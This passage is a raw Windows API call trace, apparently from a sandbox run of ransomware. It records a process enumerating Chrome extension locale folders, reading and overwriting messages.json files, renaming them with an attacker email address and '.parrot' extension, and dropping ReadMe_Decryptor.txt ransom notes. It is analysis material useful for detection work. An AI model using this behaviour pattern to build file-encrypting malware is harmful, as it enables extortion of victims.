ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf9a4520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0054.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0054.809] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0054.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0054.809] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0054.809] lstrcmpW (lpString1="da", lpString2=".") returned 1 [0054.809] lstrcmpW (lpString1="da", lpString2="..") returned 1 [0054.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0054.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240d38 [0054.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0054.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b98 | out: hHeap=0x5b0000) returned 1 [0054.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0054.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d5338 [0054.809] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.810] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.810] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.810] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.810] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.810] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0054.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0054.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.810] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0054.810] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe0 [0054.810] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.810] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.810] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0054.811] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.811] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe0, lpOverlapped=0x0) returned 1 [0054.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0054.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0054.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0054.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0054.812] GetLastError () returned 0x0 [0054.812] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0054.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0054.813] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d5550 [0054.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0054.813] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615228 [0054.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5550 | out: hHeap=0x5b0000) returned 1 [0054.813] WriteFile (in: hFile=0x280, lpBuffer=0x615228*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615228*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0054.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615228 | out: hHeap=0x5b0000) returned 1 [0054.813] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.813] CloseHandle (hObject=0x280) returned 1 [0054.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d5550 [0054.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d5688 [0054.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5550 | out: hHeap=0x5b0000) returned 1 [0054.814] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5688 | out: hHeap=0x5b0000) returned 1 [0054.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0054.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0054.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240ba8 [0054.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d5550 [0054.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0054.815] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0054.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0054.815] GetFileType (hFile=0x280) returned 0x1 [0054.815] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0054.961] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.961] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf9ca680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.961] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0054.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0054.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0054.962] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d5338 [0054.962] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf9ca680, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf9ca680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafb47440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0054.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.962] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.962] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf9ca680, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf9ca680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafb47440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0054.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0054.962] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0054.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0054.962] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0054.962] lstrcmpW (lpString1="de", lpString2=".") returned 1 [0054.962] lstrcmpW (lpString1="de", lpString2="..") returned 1 [0054.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0054.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240b98 [0054.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0054.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0054.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240d38 [0054.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d54c0 [0054.962] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.963] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.963] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.963] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.963] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.963] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0054.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0054.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.963] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.963] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0055.141] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xea [0055.141] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x202, nNumberOfBytesToLockHigh=0x0) returned 1 [0055.141] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.142] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0055.142] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.143] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xea, lpOverlapped=0x0) returned 1 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0055.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0055.143] GetLastError () returned 0x0 [0055.143] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0055.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0055.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0055.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0055.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0055.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0055.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0055.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0055.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0055.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0055.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0055.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0055.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0055.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0055.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d56d8 [0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0055.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0055.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d56d8 | out: hHeap=0x5b0000) returned 1 [0055.144] WriteFile (in: hFile=0x280, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 